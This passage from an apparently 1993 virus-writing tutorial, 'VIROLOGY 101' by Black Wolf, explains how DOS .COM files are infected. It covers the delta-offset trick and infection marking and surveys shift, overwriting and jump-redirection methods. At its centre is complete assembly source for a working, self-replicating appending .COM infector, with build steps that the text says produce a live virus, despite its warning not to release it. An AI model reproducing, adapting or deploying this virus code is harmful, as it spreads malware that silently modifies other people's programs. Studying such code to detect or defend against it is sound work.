Upper-Level language viruses sections, only infect executable
files such as .COM's and .EXE's and are written in assembly.
There are numerous methods to infect each file type - some of the
more popular will be shown in this tutorial. The simplest type of
executable file to infect is the .COM file. COM files are direct
memory images of the programs. When a COM file is run, DOS loads
what is called the Program Segment Prefix (PSP), a data structure
containing a lot of "book keeping" information for DOS, at the
first available segment in memory. The PSP is 256 (100h) bytes
long. Directly after this, the .COM file is loaded into memory,
so it starts at an offset of 100h. Because COM files are loaded
directly into memory as images, they must be able to be contained,
with the PSP, in one segment, making their maximum length just
short of 64K.
Because COM's are so simple, there are a multitude of ways
to infect them. One way is, as seen in the C virus earlier, just
to overwrite them with the viral code. This is obviously not the
prefered method, however, as it destroys the host program.
Instead, a way must be found to allow the virus to execute, then
to restore control to the host program afterwards. Several
methods to do this have been developed, the most common of which
is the appending virus. The basic technique to this style of virus
is to place its code at the end of the file, then place a jump at
the beginning of the file to point to the end. This accomplishes
the task of executing the virus first thing when the file is run.
To restore control to the host, however, takes a few tricks.
First, one must store the bytes that the jump was written over
in the file. Then, once the virus is finished, these bytes must
be restored in memory, and the virus should jump to the beginning
of the host (at 100h because it is a .COM). This is all simple
enough, but there is one more difficulty that this type of virus
must face. With 8086 assembly, all of the near jumps and calls
are relative - that is, a command that jumps ten bytes forward
when executed in one location will jump ten bytes forward when
executed in another. Data referencing, however, is done on an
absolute basis. If a file has data at one place in memory when
compiled, then even if it is offset in memory it will continue
to look for the data at the original location. Because viruses
that work in the manner described earlier could possibly end up
at any offset from their original positions, we must find a way
to adjust for that. There are several tricks for this, the most
common being to CALL a dummy subroutine, POP the current offset
of the next command off of the stack, subtract the old offset of
the command DIRECTLY AFTER the call, and store the result in BP
(or BX, SI, DI, etc.) for indirect addressing, i.e.
"mov ax,[bp+Location]." The reason this works is because the CALL
command does two things, it pushes the offset of the command
directly after it onto the stack, and then it jumps to the
location of the subroutine. Since the ORIGINAL offset of the
command directly after the call is then subtracted from the
CURRENT offset of the command, it gives you the total displacement
of the virus. A simple coding example for the is the following:
call get_offset ;Call dummy subroutine
get_offset:
pop bp ;Pop current offset of get_offset
;into BP
sub bp,offset get_offset ;Subtract original offset to get
;current displacement of virus.
lea si,[bp+wherever] ;Common way to set a register to
;be the the offset of a variable.
Now that we have a basic feeling of what a .COM infector must
do, let's list each step needed in a relatively simple appending
COM virus.
1.) Jump to virus
2.) Find a .COM file. If none are left, go to step 6.
3.) Check to see if it has been infected. If it has,
go to step 2.
4.) Write the virus to the end of the file.
5.) Store the first three or four bytes at the beginning
of the new host and overwrite them with a jump to the
virus code.
6.) Restore host's old bytes and return control to host.
Looking at step #3, we see something that was breezed over in the
second C virus - identification of infected files. Usually, this
is done by "marking" each file infected in some way, either through
the time-stamp or by placing a specific "marker byte" in the file
that the virus can check for. If this is not done, than files may
be infected repeatedly until they grow too large to execute - not
a desirable result. The following virus is a simple direct action
(meaning it infects files when it is run and does not stay present
in memory afterwards) appending .COM infector. It will infect one
uninfected .COM file in the current directory each time it is
executed until all are infected. Notice that the programs will
execute just as if they were uninfected, with perhaps a slight
delay before they run and a little extra disk access. Study the
following code carefully, as it contains some neccessary portions
of code that have NOT been mentioned so far - they will be
explained in the code.
- - - --------------- Start Code ----------------------- - - -
; This file is a direct-action appending .COM infector
;written in TASM - compatible assembler for the IBM PC.
;It is presented as a part of VIROLOGY 101 (c) 1993 Black Wolf.
;It is a live virus, and should NOT be released. Please execute
;the virus only on isolated machines under controlled conditions.
; To compile this virus, one must first make a stub file, or
;an initial "host", and attach the virus to it. The stub should be
;a program like the following:
;
; .model tiny
; .code
; org 100
;start:
; nop
; nop
; nop
; nop
;end start
;
; To attach the stub file to the virus, use the following line
;from DOS.
; copy /b stub.com+vircode.com newvirus.com
;
;This will produce a live, working virus. Please be careful with
;it.
.model tiny
.radix 16 ;Default into Hexidecimal
.code
org 100
start:
call get_offset ;This places the displace-
;ment of the virus from its
get_offset: ;original compilation into
pop bp ;BP.
sub bp,offset get_offset
Restore_Host_File: ;This routine moves the
lea si,[storage_bytes+bp] ;stored bytes of the
mov di,100 ;current host back to their
movsw ;original place (at the
movsw ;beginning of the host).
;The DTA (Data Transfer Address) is the location that DOS puts
;information regarding file I/O, such as from a search for files,
;CS:0080 in .COM files - inside the PSP. Unfortunately, it is
;located at the same address in the PSP as the command-line
;parameters that are passed from DOS to your user program.
;Because of this, if you simply asked Dos to do a search for files
;without changing the location of the DTA first, all command-line
;information would be lost. This would be disasterous in viruses,
;as it would cause unpredictable results in the host file. The
;solution is simple: move the DTA to a new address for the virus,
;then restore it to the default position before the virus restores
;control to the host.
Set_DTA:
lea dx,[end_virus+bp] ;Set DTA to the end of the
mov ah,1a ;virus.
int 21
mov ah,4e
xor cx,cx ;Look only for normal
;attributes.
lea dx,[File_Mask+bp] ;Search for all files
Find_File: ;matching '*.COM'.
int 21
jc No_More_Files
mov ax,3d02
lea dx,[end_virus+1e+bp] ;Offset 1eh in DTA =
; filename
int 21 ;Open file for read/write
;access.
xchg bx,ax ;Put File handle into BX
mov ah,3f
mov cx,4
lea dx,[storage_bytes+bp] ;Read in first four bytes
int 21 ;of file
cmp word ptr [storage_bytes+bp],'ZM' ;Standard EXE
je close_file ;mark, file is a
;misnamed EXE.
cmp word ptr [storage_bytes+bp],'MZ' ;Other possible
je close_file ;EXE mark.
cmp byte ptr [storage_bytes+bp+3],'V' ;Infection mark:
je close_file ;file infected.
mov ax,4202 ;Go to the end of the file.
xor cx,cx ;This function returns
xor dx,dx ;file size into
int 21 ;DX:AX
sub ax,3 ;Put file size - 3
mov word ptr [bp+jump_bytes+1],ax ;(jump instruction
;length) into jump
;bytes.
mov ah,40 ;Write virus to the
mov cx,end_virus-start ;end of the file.
lea dx,[bp+start]
int 21
mov ax,4200 ;Return to the
xor cx,cx ;beginning of the
xor dx,dx ; file.
int 21
mov ah,40 ;Write jump bytes
mov cx,4 ;and marker byte
lea dx,[bp+jump_bytes] ;to the beginning
int 21 ;of file.
mov ah,3e ;Close file
int 21
jmp No_More_Files ;Only infect one
;file each time.
Close_File: ;Close current file
mov ah,3e
int 21
Find_Next_File: ;Find another file
mov ah,4f
jmp Find_File
No_More_Files: ;Reset DTA to original location
mov dx,80
mov ah,1a
int 21
Restore_To_Host: ;This is basically a "jmp cs:100"
mov di,100
push di
ret
File_Mask db '*.COM',0 ;File mask used for search
jump_bytes db 0e9,0,0,'V' ;'V' is the marker byte.
storage_bytes:
nop ;dummy storage bytes for
nop ;first execution.
int 20 ;Terminate
end_virus:
end start
- - - ---------------- End Code ------------------------ - - -
While the appending COM infector may be the most common, it
by far not the only method of infecting a COM file. Some of the
different ways are briefly explained below.
Generic Appending: This is the method explained and
demonstrated earlier. It will place a jump over the first few
bytes of the host that jumps to the end of the host, where it
places itself.
"Shift" virus: These viruses place themselves at the
beginning of the file, "shifting" the host to a new offset in
memory. When they are done executing, they "shift" the host back
to offset 100h and execute it. This style eliminates the need for
the displacement calculations found in appending viruses, but they
must find some way to "shift" the host back without overwriting the
code doing the "shifting". This technique works best in memory
resident viruses, rather than direct action.
Non-Destructive Overwriting: The usual method for this type
is to copy a chunk of code at the beginning of the host to the end
of the file, then overwrite that chunk with the virus. Restoration
is quite similair to the "Shift" method. As above, this one works
best as a memory resident virus.
Jump Redirection: This type is basically the same as the
Appending style, but it will redirect jumps that are already inside
the host to point to it.
Random Placement: This type is rare, generally found as
research viruses only. It can place itself anywhere within a file,
usually using methods similar to the Non-Destructive Overwriting
for restoration and either Jump Redirection of the Generic
Appending for execution (i.e. jumps to virus). The main purpose
for this is to complicate disinfection - a little.